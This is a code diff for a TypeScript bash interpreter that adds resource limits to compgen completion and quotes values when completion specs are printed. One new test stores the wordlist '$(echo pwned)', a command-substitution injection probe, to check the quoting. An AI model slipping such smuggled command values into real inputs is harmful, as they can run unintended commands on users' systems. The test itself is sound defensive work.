+  const completionSet = new Set<string>();
+  const remainingCompletionCapacity = (): number =>
+    ctx.limits.maxArrayElements - completions.length;
+  const appendCompletions = (values: Iterable<string>): void => {
+    for (const value of values) {
+      if (completions.length >= ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `compgen: completion element limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      if (utf8ByteLength(value) > ctx.limits.maxStringLength) {
+        throw new ExecutionLimitError(
+          `compgen: completion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+          "string_length",
+        );
+      }
+      ctx.executionScope.consumeWork(1, "compgen completion");
+      completions.push(value);
+      completionSet.add(value);
+    }
+  };
 
   // Handle -o dirnames (only show directories)
   if (dirnamesOption) {
-    const dirCompletions = await getDirectoryCompletions(ctx, searchPrefix);
-    completions.push(...dirCompletions);
+    const dirCompletions = await getDirectoryCompletions(
+      ctx,
+      searchPrefix,
+      remainingCompletionCapacity(),
+    );
+    appendCompletions(dirCompletions);
   }
 
   // Handle -o default (show files)
   if (defaultOption) {
-    const fileCompletions = await getFileCompletions(ctx, searchPrefix);
-    completions.push(...fileCompletions);
+    const fileCompletions = await getFileCompletions(
+      ctx,
+      searchPrefix,
+      remainingCompletionCapacity(),
+    );
+    appendCompletions(fileCompletions);
   }
 
   // Handle action types - loop through all of them to support multiple -A flags
@@ -353,41 +393,89 @@ export async function handleCompgen(
   // where -A directory results come before -W wordlist results
   for (const actionType of actionTypes) {
     if (actionType === "variable") {
-      const vars = getVariableNames(ctx, searchPrefix);
-      completions.push(...vars);
+      const vars = getVariableNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(vars);
     } else if (actionType === "export") {
-      const vars = getExportedVariableNames(ctx, searchPrefix);
-      completions.push(...vars);
+      const vars = getExportedVariableNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(vars);
     } else if (actionType === "function") {
-      const funcs = getFunctionNames(ctx, searchPrefix);
-      completions.push(...funcs);
+      const funcs = getFunctionNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(funcs);
     } else if (actionType === "builtin") {
-      const builtins = getBuiltinNames(searchPrefix);
-      completions.push(...builtins);
+      const builtins = getBuiltinNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(builtins);
     } else if (actionType === "keyword") {
-      const keywords = getKeywordNames(searchPrefix);
-      completions.push(...keywords);
+      const keywords = getKeywordNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(keywords);
     } else if (actionType === "alias") {
-      const aliases = getAliasNames(ctx, searchPrefix);
-      completions.push(...aliases);
+      const aliases = getAliasNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(aliases);
     } else if (actionType === "shopt") {
-      const shopts = getShoptNames(searchPrefix);
-      completions.push(...shopts);
+      const shopts = getShoptNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(shopts);
     } else if (actionType === "helptopic") {
-      const topics = getHelpTopicNames(searchPrefix);
-      completions.push(...topics);
+      const topics = getHelpTopicNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(topics);
     } else if (actionType === "directory") {
-      const dirs = await getDirectoryCompletions(ctx, searchPrefix);
-      completions.push(...dirs);
+      const dirs = await getDirectoryCompletions(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(dirs);
     } else if (actionType === "file") {
-      const files = await getFileCompletions(ctx, searchPrefix);
-      completions.push(...files);
+      const files = await getFileCompletions(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(files);
     } else if (actionType === "user") {
-      const users = getUserNames(searchPrefix);
-      completions.push(...users);
+      const users = getUserNames(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(users);
     } else if (actionType === "command") {
-      const commands = await getCommandCompletions(ctx, searchPrefix);
-      completions.push(...commands);
+      const commands = await getCommandCompletions(
+        ctx,
+        searchPrefix,
+        remainingCompletionCapacity(),
+      );
+      appendCompletions(commands);
     }
   }
 
@@ -397,13 +485,17 @@ export async function handleCompgen(
     try {
       // First, expand the wordlist (handles $(), ${}, etc.)
       const expandedWordlist = await expandWordlistString(ctx, wordlist);
-      const words = splitWordlist(ctx, expandedWordlist);
+      const words = splitWordlist(
+        ctx,
+        expandedWordlist,
+        remainingCompletionCapacity(),
+        searchPrefix,
+      );
       for (const word of words) {
-        if (searchPrefix === null || word.startsWith(searchPrefix)) {
-          completions.push(word);
-        }
+        appendCompletions([word]);
       }
-    } catch {
+    } catch (error) {
+      if (error instanceof ExecutionLimitError) throw error;
       // Expansion errors (e.g., arithmetic division by zero) return status 1
       return result("", "", 1);
     }
@@ -411,10 +503,15 @@ export async function handleCompgen(
 
   // Handle -o plusdirs: add directories to completions
   if (plusdirsOption) {
-    const dirCompletions = await getDirectoryCompletions(ctx, searchPrefix);
+    const dirCompletions = await getDirectoryCompletions(
+      ctx,
+      searchPrefix,
+      remainingCompletionCapacity(),
+      completionSet,
+    );
     for (const dir of dirCompletions) {
-      if (!completions.includes(dir)) {
-        completions.push(dir);
+      if (!completionSet.has(dir)) {
+        appendCompletions([dir]);
       }
     }
   }
@@ -434,11 +531,12 @@ export async function handleCompgen(
       const savedEnv = new Map<string, string | undefined>();
 
       // Save and set COMP_WORDS (empty array - no elements)
-      savedEnv.set(
-        "COMP_WORDS__length",
-        ctx.state.env.get("COMP_WORDS__length"),
-      );
-      ctx.state.env.set("COMP_WORDS__length", "0");
+      const currentCompWords = getArray(ctx, "COMP_WORDS");
+      const savedCompWords = currentCompWords
+        ? cloneArray(currentCompWords)
+        : undefined;
+      clearArray(ctx, "COMP_WORDS");
+      ensureArray(ctx, "COMP_WORDS");
 
       // Save and set COMP_CWORD
       savedEnv.set("COMP_CWORD", ctx.state.env.get("COMP_CWORD"));
@@ -453,17 +551,13 @@ export async function handleCompgen(
       ctx.state.env.set("COMP_POINT", "0");
 
       // Clear any existing COMPREPLY
-      const savedCompreply = new Map<string, string | undefined>();
-      for (const key of ctx.state.env.keys()) {
-        if (
-          key === "COMPREPLY" ||
-          key.startsWith("COMPREPLY_") ||
-          key === "COMPREPLY__length"
-        ) {
-          savedCompreply.set(key, ctx.state.env.get(key));
-          ctx.state.env.delete(key);
-        }
-      }
+      const currentCompreply = getArray(ctx, "COMPREPLY");
+      const savedCompreply = currentCompreply
+        ? cloneArray(currentCompreply)
+        : undefined;
+      const savedCompreplyScalar = ctx.state.env.get("COMPREPLY");
+      clearArray(ctx, "COMPREPLY");
+      ctx.state.env.delete("COMPREPLY");
 
       // Determine the arguments to pass to the function
       // bash passes: command_name, word_being_completed, previous_word
@@ -478,7 +572,10 @@ export async function handleCompgen(
         if (funcResult.exitCode !== 0) {
           // Restore saved environment
           restoreEnv(ctx, savedEnv);
-          restoreEnv(ctx, savedCompreply);
+          restoreCompletionArray(ctx, "COMP_WORDS", savedCompWords);
+          restoreCompletionArray(ctx, "COMPREPLY", savedCompreply);
+          if (savedCompreplyScalar !== undefined)
+            ctx.state.env.set("COMPREPLY", savedCompreplyScalar);
           return result("", funcResult.stderr, 1);
         }
 
@@ -486,18 +583,28 @@ export async function handleCompgen(
         functionStdout = funcResult.stdout;
 
         // Get COMPREPLY values (supports both scalar and array)
-        const compreplyValues = getCompreplyValues(ctx);
-        completions.push(...compreplyValues);
-      } catch {
+        const compreplyValues = getCompreplyValues(
+          ctx,
+          remainingCompletionCapacity(),
+        );
+        appendCompletions(compreplyValues);
+      } catch (error) {
+        if (error instanceof ExecutionLimitError) throw error;
         // If function execution fails, return exit code 1
         restoreEnv(ctx, savedEnv);
-        restoreEnv(ctx, savedCompreply);
+        restoreCompletionArray(ctx, "COMP_WORDS", savedCompWords);
+        restoreCompletionArray(ctx, "COMPREPLY", savedCompreply);
+        if (savedCompreplyScalar !== undefined)
+          ctx.state.env.set("COMPREPLY", savedCompreplyScalar);
         return result("", "", 1);
       }
 
       // Restore saved environment
       restoreEnv(ctx, savedEnv);
-      restoreEnv(ctx, savedCompreply);
+      restoreCompletionArray(ctx, "COMP_WORDS", savedCompWords);
+      restoreCompletionArray(ctx, "COMPREPLY", savedCompreply);
+      if (savedCompreplyScalar !== undefined)
+        ctx.state.env.set("COMPREPLY", savedCompreplyScalar);
     }
   }
 
@@ -518,11 +625,10 @@ export async function handleCompgen(
       // Split stdout into lines and add as completions
       // All non-empty lines are used as completions (no prefix filtering)
       if (cmdResult.stdout) {
-        const lines = cmdResult.stdout.split("\n");
-        for (const line of lines) {
+        for (const line of nonEmptyLines(cmdResult.stdout)) {
           // Skip empty lines
           if (line.length > 0) {
-            completions.push(line);
+            appendCompletions([line]);
           }
         }
       }
@@ -546,7 +652,13 @@ export async function handleCompgen(
 
     filteredCompletions = completions.filter((c) => {
       // Match using extglob patterns
-      const matches = matchPattern(c, pattern, false, true);
+      const matches = matchPattern(
+        c,
+        pattern,
+        false,
+        true,
+        ctx.limits.maxCallDepth,
+      );
       // Normal: filter OUT matching completions (!matches)
       // Negated: filter OUT non-matching completions (matches)
       // i.e., keep items that match when negated
@@ -561,13 +673,16 @@ export async function handleCompgen(
   }
 
   // Apply prefix/suffix and output
-  const completionOutput = filteredCompletions
-    .map((c) => `${prefix}${c}${suffix}`)
-    .join("\n");
+  const outputBuilder = new BoundedStringBuilder(
+    ctx.limits.maxOutputSize,
+    "compgen",
+  );
+  outputBuilder.append(functionStdout);
+  for (const completion of filteredCompletions) {
+    outputBuilder.append(prefix).append(completion).append(suffix).append("\n");
+  }
   // Prepend function stdout to completions output
-  const output =
-    functionStdout + (completionOutput ? `${completionOutput}\n` : "");
-  return success(output);
+  return success(outputBuilder.build());
 }
 
 /**
@@ -576,39 +691,18 @@ export async function handleCompgen(
 function getVariableNames(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum: number,
 ): string[] {
-  const names: Set<string> = new Set();
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
 
-  // Add all environment variables
+  // Add scalar and array names from their separate namespaces.
   for (const key of ctx.state.env.keys()) {
-    // Skip internal array markers
-    if (key.includes("_") && /^[a-zA-Z_][a-zA-Z0-9_]*_\d+$/.test(key)) {
-      continue;
-    }
-    if (key.endsWith("__length")) {
-      continue;
-    }
-    // Extract base name for array variables
-    const baseName = key.split("_")[0];
     if (/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(key)) {
-      names.add(key);
-    } else if (
-      baseName &&
-      /^[a-zA-Z_][a-zA-Z0-9_]*$/.test(baseName) &&
-      ctx.state.env.has(`${baseName}__length`)
-    ) {
-      names.add(baseName);
+      candidates.add(key);
     }
   }
-
-  // Filter by prefix if provided
-  let resultArr = Array.from(names);
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+  for (const name of ctx.state.arrays?.keys() ?? []) candidates.add(name);
+  return candidates.build();
 }
 
 /**
@@ -617,28 +711,14 @@ function getVariableNames(
 function getExportedVariableNames(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum: number,
 ): string[] {
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
   const exportedVars = ctx.state.exportedVars ?? new Set<string>();
-  let resultArr = Array.from(exportedVars);
-
-  // Filter by prefix if provided
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
+  for (const name of exportedVars) {
+    if (ctx.state.env.has(name)) candidates.add(name);
   }
-
-  // Filter out variables that don't exist or are internal
-  resultArr = resultArr.filter((n) => {
-    if (n.includes("_") && /^[a-zA-Z_][a-zA-Z0-9_]*_\d+$/.test(n)) {
-      return false;
-    }
-    if (n.endsWith("__length")) {
-      return false;
-    }
-    return ctx.state.env.has(n);
-  });
-
-  // Sort alphabetically
-  return resultArr.sort();
+  return candidates.build();
 }
 
 /**
@@ -647,46 +727,37 @@ function getExportedVariableNames(
 function getFunctionNames(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum: number,
 ): string[] {
-  let resultArr = Array.from(ctx.state.functions.keys());
-
-  // Filter by prefix if provided
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
+  for (const name of ctx.state.functions.keys()) candidates.add(name);
+  return candidates.build();
 }
 
 /**
  * Get builtin command names, optionally filtered by prefix
  */
-function getBuiltinNames(prefix: string | null): string[] {
-  let resultArr = [...SHELL_BUILTINS];
-
-  // Filter by prefix if provided
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+function getBuiltinNames(
+  ctx: InterpreterContext,
+  prefix: string | null,
+  maximum: number,
+): string[] {
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
+  for (const name of SHELL_BUILTINS) candidates.add(name);
+  return candidates.build();
 }
 
 /**
  * Get shell keyword names, optionally filtered by prefix
  */
-function getKeywordNames(prefix: string | null): string[] {
-  let resultArr = [...SHELL_KEYWORDS];
-
-  // Filter by prefix if provided
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+function getKeywordNames(
+  ctx: InterpreterContext,
+  prefix: string | null,
+  maximum: number,
+): string[] {
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
+  for (const name of SHELL_KEYWORDS) candidates.add(name);
+  return candidates.build();
 }
 
 /**
@@ -695,55 +766,45 @@ function getKeywordNames(prefix: string | null): string[] {
 function getAliasNames(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum: number,
 ): string[] {
-  const names: string[] = [];
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
 
   // Look for BASH_ALIAS_ prefixed variables
   for (const key of ctx.state.env.keys()) {
     if (key.startsWith("BASH_ALIAS_")) {
       const aliasName = key.slice("BASH_ALIAS_".length);
-      names.push(aliasName);
+      candidates.add(aliasName);
     }
   }
 
-  // Filter by prefix if provided
-  let resultArr = names;
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+  return candidates.build();
 }
 
 /**
  * Get shopt option names, optionally filtered by prefix
  */
-function getShoptNames(prefix: string | null): string[] {
-  let resultArr = [...SHOPT_OPTIONS];
-
-  // Filter by prefix if provided
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+function getShoptNames(
+  ctx: InterpreterContext,
+  prefix: string | null,
+  maximum: number,
+): string[] {
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
+  for (const name of SHOPT_OPTIONS) candidates.add(name);
+  return candidates.build();
 }
 
 /**
  * Get help topic names, optionally filtered by prefix
  */
-function getHelpTopicNames(prefix: string | null): string[] {
-  let resultArr = [...HELP_TOPICS];
-
-  // Filter by prefix if provided
-  if (prefix !== null) {
-    resultArr = resultArr.filter((n) => n.startsWith(prefix));
-  }
-
-  // Sort alphabetically
-  return resultArr.sort();
+function getHelpTopicNames(
+  ctx: InterpreterContext,
+  prefix: string | null,
+  maximum: number,
+): string[] {
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
+  for (const name of HELP_TOPICS) candidates.add(name);
+  return candidates.build();
 }
 
 /**
@@ -752,8 +813,10 @@ function getHelpTopicNames(prefix: string | null): string[] {
 async function getDirectoryCompletions(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum = ctx.limits.maxArrayElements,
+  excluded?: ReadonlySet<string>,
 ): Promise<string[]> {
-  const results: string[] = [];
+  const candidates = createCandidateCollector(ctx, null, maximum, excluded);
 
   try {
     // Determine the directory to search and the prefix to match
@@ -780,6 +843,7 @@ async function getDirectoryCompletions(
     const entries = await ctx.fs.readdir(searchDir);
 
     for (const entry of entries) {
+      ctx.executionScope.consumeWork(1, "compgen directory scan");
       // Check if it's a directory
       const fullPath = `${searchDir}/${entry}`;
       try {
@@ -790,21 +854,23 @@ async function getDirectoryCompletions(
             if (prefix?.includes("/")) {
               const lastSlash = prefix.lastIndexOf("/");
               const dirPart = prefix.slice(0, lastSlash + 1);
-              results.push(dirPart + entry);
+              candidates.add(dirPart + entry);
             } else {
-              results.push(entry);
+              candidates.add(entry);
             }
           }
         }
-      } catch {
+      } catch (error) {
+        if (error instanceof ExecutionLimitError) throw error;
         // Ignore stat errors
       }
     }
-  } catch {
+  } catch (error) {
+    if (error instanceof ExecutionLimitError) throw error;
     // Ignore directory read errors
   }
 
-  return results.sort();
+  return candidates.build();
 }
 
 /**
@@ -813,8 +879,9 @@ async function getDirectoryCompletions(
 async function getFileCompletions(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum = ctx.limits.maxArrayElements,
 ): Promise<string[]> {
-  const results: string[] = [];
+  const candidates = createCandidateCollector(ctx, null, maximum);
 
   try {
     // Determine the directory to search and the prefix to match
@@ -841,31 +908,40 @@ async function getFileCompletions(
     const entries = await ctx.fs.readdir(searchDir);
 
     for (const entry of entries) {
+      ctx.executionScope.consumeWork(1, "compgen file scan");
       if (!matchPrefix || entry.startsWith(matchPrefix)) {
         // Include path prefix if the original prefix had one
         if (prefix?.includes("/")) {
           const lastSlash = prefix.lastIndexOf("/");
           const dirPart = prefix.slice(0, lastSlash + 1);
-          results.push(dirPart + entry);
+          candidates.add(dirPart + entry);
         } else {
-          results.push(entry);
+          candidates.add(entry);
         }
       }
     }
-  } catch {
+  } catch (error) {
+    if (error instanceof ExecutionLimitError) throw error;
     // Ignore directory read errors
   }
 
-  return results.sort();
+  return candidates.build();
 }
 
 /**
  * Get user names (stub - returns common system users)
  */
-function getUserNames(_prefix: string | null): string[] {
+function getUserNames(
+  ctx: InterpreterContext,
+  prefix: string | null,
+  maximum: number,
+): string[] {
   // In a real implementation, this would read /etc/passwd
   // For now, return some common user names
-  return ["root", "nobody"];
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
+  candidates.add("root");
+  candidates.add("nobody");
+  return candidates.build();
 }
 
 /**
@@ -874,29 +950,30 @@ function getUserNames(_prefix: string | null): string[] {
 async function getCommandCompletions(
   ctx: InterpreterContext,
   prefix: string | null,
+  maximum: number,
 ): Promise<string[]> {
-  const commands: Set<string> = new Set();
+  const candidates = createCandidateCollector(ctx, prefix, maximum);
 
   // Add builtins
   for (const builtin of SHELL_BUILTINS) {
-    commands.add(builtin);
+    candidates.add(builtin);
   }
 
   // Add functions
   for (const func of ctx.state.functions.keys()) {
-    commands.add(func);
+    candidates.add(func);
   }
 
   // Add aliases
   for (const key of ctx.state.env.keys()) {
     if (key.startsWith("BASH_ALIAS_")) {
-      commands.add(key.slice("BASH_ALIAS_".length));
+      candidates.add(key.slice("BASH_ALIAS_".length));
     }
   }
 
   // Add keywords
   for (const keyword of SHELL_KEYWORDS) {
-    commands.add(keyword);
+    candidates.add(keyword);
   }
 
   // Add external commands from PATH
@@ -906,20 +983,47 @@ async function getCommandCompletions(
     try {
       const entries = await ctx.fs.readdir(dir);
       for (const entry of entries) {
-        commands.add(entry);
+        candidates.add(entry);
       }
-    } catch {
+    } catch (error) {
+      if (error instanceof ExecutionLimitError) throw error;
       // Ignore errors
     }
   }
+  return candidates.build();
+}
 
-  // Filter by prefix
-  let resultArr = Array.from(commands);
-  if (prefix !== null) {
-    resultArr = resultArr.filter((c) => c.startsWith(prefix));
-  }
-
-  return resultArr.sort();
+function createCandidateCollector(
+  ctx: InterpreterContext,
+  prefix: string | null,
+  maximum: number,
+  excluded?: ReadonlySet<string>,
+): { add(value: string): void; build(): string[] } {
+  const values = new Set<string>();
+  return {
+    add(value: string): void {
+      ctx.executionScope.consumeWork(1, "compgen candidate collection");
+      if (prefix !== null && !value.startsWith(prefix)) return;
+      if (excluded?.has(value)) return;
+      if (values.has(value)) return;
+      if (values.size >= maximum) {
+        throw new ExecutionLimitError(
+          `compgen: completion element limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      if (utf8ByteLength(value) > ctx.limits.maxStringLength) {
+        throw new ExecutionLimitError(
+          `compgen: completion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+          "string_length",
+        );
+      }
+      values.add(value);
+    },
+    build(): string[] {
+      return Array.from(values).sort();
+    },
+  };
 }
 
 /**
@@ -943,10 +1047,22 @@ async function expandWordlistString(
  * Split a wordlist string into individual words, respecting IFS
  * Backslash-escaped IFS characters are treated as literal characters, not delimiters
  */
-function splitWordlist(ctx: InterpreterContext, wordlist: string): string[] {
+function splitWordlist(
+  ctx: InterpreterContext,
+  wordlist: string,
+  maximum: number,
+  prefix: string | null,
+): string[] {
   const ifs = ctx.state.env.get("IFS") ?? " \t\n";
 
   if (ifs.length === 0) {
+    if (prefix !== null && !wordlist.startsWith(prefix)) return [];
+    if (maximum === 0) {
+      throw new ExecutionLimitError(
+        `compgen: completion element limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
     return [wordlist];
   }
 
@@ -955,6 +1071,16 @@ function splitWordlist(ctx: InterpreterContext, wordlist: string): string[] {
 
   // Parse the wordlist character by character, respecting backslash escapes
   const words: string[] = [];
+  const pushWord = (value: string): void => {
+    if (prefix !== null && !value.startsWith(prefix)) return;
+    if (words.length >= maximum) {
+      throw new ExecutionLimitError(
+        `compgen: completion element limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    words.push(value);
+  };
   let currentWord = "";
   let i = 0;
 
@@ -969,7 +1095,7 @@ function splitWordlist(ctx: InterpreterContext, wordlist: string): string[] {
     } else if (ifsSet.has(char)) {
       // This is an IFS delimiter
       if (currentWord.length > 0) {
-        words.push(currentWord);
+        pushWord(currentWord);
         currentWord = "";
       }
       i++;
@@ -982,7 +1108,7 @@ function splitWordlist(ctx: InterpreterContext, wordlist: string): string[] {
 
   // Don't forget the last word
   if (currentWord.length > 0) {
-    words.push(currentWord);
+    pushWord(currentWord);
   }
 
   return words;
@@ -1004,31 +1130,61 @@ function restoreEnv(
   }
 }
 
+function restoreCompletionArray(
+  ctx: InterpreterContext,
+  name: string,
+  saved: ReturnType<typeof getArray>,
+): void {
+  ctx.state.arrays ??= new Map();
+  if (saved) ctx.state.arrays.set(name, cloneArray(saved));
+  else ctx.state.arrays.delete(name);
+}
+
 /**
  * Get COMPREPLY values (supports both scalar and array)
  * Returns values in order, skipping sparse array gaps
  */
-function getCompreplyValues(ctx: InterpreterContext): string[] {
+function getCompreplyValues(
+  ctx: InterpreterContext,
+  maximum: number,
+): string[] {
   const values: string[] = [];
+  const pushValue = (value: string): void => {
+    if (values.length >= maximum) {
+      throw new ExecutionLimitError(
+        `compgen: completion element limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    values.push(value);
+  };
 
   // Check if COMPREPLY is an array
-  const lengthKey = "COMPREPLY__length";
-  const arrayLength = ctx.state.env.get(lengthKey);
-
-  if (arrayLength !== undefined) {
+  if (hasArray(ctx, "COMPREPLY")) {
     // It's an array - get elements using getArrayElements helper
     // getArrayElements returns Array<[index, value]>
     const elements = getArrayElements(ctx, "COMPREPLY");
     for (const [, value] of elements) {
-      values.push(value);
+      pushValue(value);
     }
   } else {
     // Check if it's a scalar value
     const scalarValue = ctx.state.env.get("COMPREPLY");
     if (scalarValue !== undefined) {
-      values.push(scalarValue);
+      pushValue(scalarValue);
     }
   }
 
   return values;
 }
+
+function* nonEmptyLines(value: string): Iterable<string> {
+  let start = 0;
+  while (start <= value.length) {
+    const end = value.indexOf("\n", start);
+    const lineEnd = end === -1 ? value.length : end;
+    if (lineEnd > start) yield value.slice(start, lineEnd);
+    if (end === -1) return;
+    start = end + 1;
+  }
+}
diff --git a/packages/just-bash/src/interpreter/builtins/complete.test.ts b/packages/just-bash/src/interpreter/builtins/complete.test.ts
index a8f489ac..72df4f50 100644
--- a/packages/just-bash/src/interpreter/builtins/complete.test.ts
+++ b/packages/just-bash/src/interpreter/builtins/complete.test.ts
@@ -1,4 +1,6 @@
 import { describe, expect, test } from "vitest";
+import { ExecutionScope } from "../../execution-scope.js";
+import { resolveLimits } from "../../limits.js";
 import type { InterpreterContext, InterpreterState } from "../types.js";
 import { handleComplete } from "./complete.js";
 
@@ -60,6 +62,7 @@ function createMockCtx(): InterpreterContext {
     fs: {} as unknown as InterpreterContext["fs"],
     commands: {} as unknown as InterpreterContext["commands"],
     limits: {} as unknown as InterpreterContext["limits"],
+    executionScope: new ExecutionScope(resolveLimits()),
     execFn: async () => ({ stdout: "", stderr: "", exitCode: 0 }),
     executeScript: async () => ({ stdout: "", stderr: "", exitCode: 0 }),
     executeStatement: async () => ({ stdout: "", stderr: "", exitCode: 0 }),
@@ -158,12 +161,26 @@ describe("complete builtin", () => {
     const ctx = createMockCtx();
     const result = handleComplete(ctx, ["-F", "invalidZZ", "-D"]);
     expect(result.exitCode).toBe(0);
-    expect(ctx.state.completionSpecs?.get("__default__")).toEqual({
+    expect(ctx.state.defaultCompletionSpec).toEqual({
       function: "invalidZZ",
       isDefault: true,
     });
   });
 
+  test("ordinary reserved-looking command names do not collide with defaults", () => {
+    const ctx = createMockCtx();
+    handleComplete(ctx, ["-W", "$(echo pwned)", "__default__"]);
+    handleComplete(ctx, ["-F", "fallback", "-D"]);
+
+    expect(ctx.state.completionSpecs?.get("__default__")?.wordlist).toBe(
+      "$(echo pwned)",
+    );
+    expect(ctx.state.defaultCompletionSpec?.function).toBe("fallback");
+    const printed = handleComplete(ctx, ["-p"]);
+    expect(printed.stdout).toContain("complete -W '$(echo pwned)' __default__");
+    expect(printed.stdout).toContain("complete -F fallback -D");
+  });
+
   test("complete foo with no options is allowed (bash BUG behavior)", () => {
     const ctx = createMockCtx();
     const result = handleComplete(ctx, ["foo"]);
diff --git a/packages/just-bash/src/interpreter/builtins/complete.ts b/packages/just-bash/src/interpreter/builtins/complete.ts
index 59c92ac4..e15e4336 100644
--- a/packages/just-bash/src/interpreter/builtins/complete.ts
+++ b/packages/just-bash/src/interpreter/builtins/complete.ts
@@ -14,6 +14,7 @@
  */
 
 import type { ExecResult } from "../../types.js";
+import { quoteValue } from "../helpers/quoting.js";
 import { failure, result, success } from "../helpers/result.js";
 import type { CompletionSpec, InterpreterContext } from "../types.js";
 
@@ -142,6 +143,8 @@ export function handleComplete(
     if (commands.length === 0) {
       // Remove all completion specs
       ctx.state.completionSpecs.clear();
+      ctx.state.defaultCompletionSpec = undefined;
+      ctx.state.emptyCompletionSpec = undefined;
       return success("");
     }
     // Remove specific completion specs
@@ -195,7 +198,7 @@ export function handleComplete(
     if (commandStr !== undefined) spec.command = commandStr;
     if (options.length > 0) spec.options = options;
     if (actions.length > 0) spec.actions = actions;
-    ctx.state.completionSpecs.set("__default__", spec);
+    ctx.state.defaultCompletionSpec = spec;
     return success("");
   }
 
@@ -219,8 +222,8 @@ function printCompletionSpecs(
   ctx: InterpreterContext,
   commands?: string[],
 ): ExecResult {
-  const specs = ctx.state.completionSpecs;
-  if (!specs || specs.size === 0) {
+  const specs = ctx.state.completionSpecs ?? new Map<string, CompletionSpec>();
+  if (specs.size === 0 && !ctx.state.defaultCompletionSpec) {
     if (commands && commands.length > 0) {
       // Requested specific commands but no specs exist
       let stderr = "";
@@ -236,8 +239,6 @@ function printCompletionSpecs(
   const targetCommands = commands || Array.from(specs.keys());
 
   for (const cmd of targetCommands) {
-    if (cmd === "__default__") continue; // Skip internal default key when listing all
-
     const spec = specs.get(cmd);
     if (!spec) {
       if (commands) {
@@ -256,14 +257,14 @@ function printCompletionSpecs(
     // Add options
     if (spec.options) {
       for (const opt of spec.options) {
-        line += ` -o ${opt}`;
+        line += ` -o ${quoteValue(opt)}`;
       }
     }
 
     // Add actions
     if (spec.actions) {
       for (const action of spec.actions) {
-        line += ` -A ${action}`;
+        line += ` -A ${quoteValue(action)}`;
       }
     }
 
@@ -271,15 +272,19 @@ function printCompletionSpecs(
     if (spec.wordlist !== undefined) {
       // Quote the wordlist if it contains spaces
       if (spec.wordlist.includes(" ") || spec.wordlist.includes("'")) {
-        line += ` -W '${spec.wordlist}'`;
+        line += ` -W ${quoteValue(spec.wordlist)}`;
       } else {
-        line += ` -W ${spec.wordlist}`;
+        line += ` -W ${quoteValue(spec.wordlist)}`;
       }
     }
 
     // Add function
     if (spec.function !== undefined) {
-      line += ` -F ${spec.function}`;
+      line += ` -F ${quoteValue(spec.function)}`;
+    }
+
+    if (spec.command !== undefined) {
+      line += ` -C ${quoteValue(spec.command)}`;
     }
 
     // Add default flag
@@ -288,11 +293,24 @@ function printCompletionSpecs(
     }
 
     // Add command name
-    line += ` ${cmd}`;
+    line += `${cmd.startsWith("-") ? " -- " : " "}${quoteValue(cmd)}`;
 
     output.push(line);
   }
 
+  if (!commands && ctx.state.defaultCompletionSpec) {
+    const spec = ctx.state.defaultCompletionSpec;
+    let line = "complete";
+    for (const opt of spec.options ?? []) line += ` -o ${quoteValue(opt)}`;
+    for (const action of spec.actions ?? [])
+      line += ` -A ${quoteValue(action)}`;
+    if (spec.wordlist !== undefined) line += ` -W ${quoteValue(spec.wordlist)}`;
+    if (spec.function !== undefined) line += ` -F ${quoteValue(spec.function)}`;
+    if (spec.command !== undefined) line += ` -C ${quoteValue(spec.command)}`;
+    line += " -D";
+    output.push(line);
+  }
+
   if (output.length === 0) {
     return success("");
   }
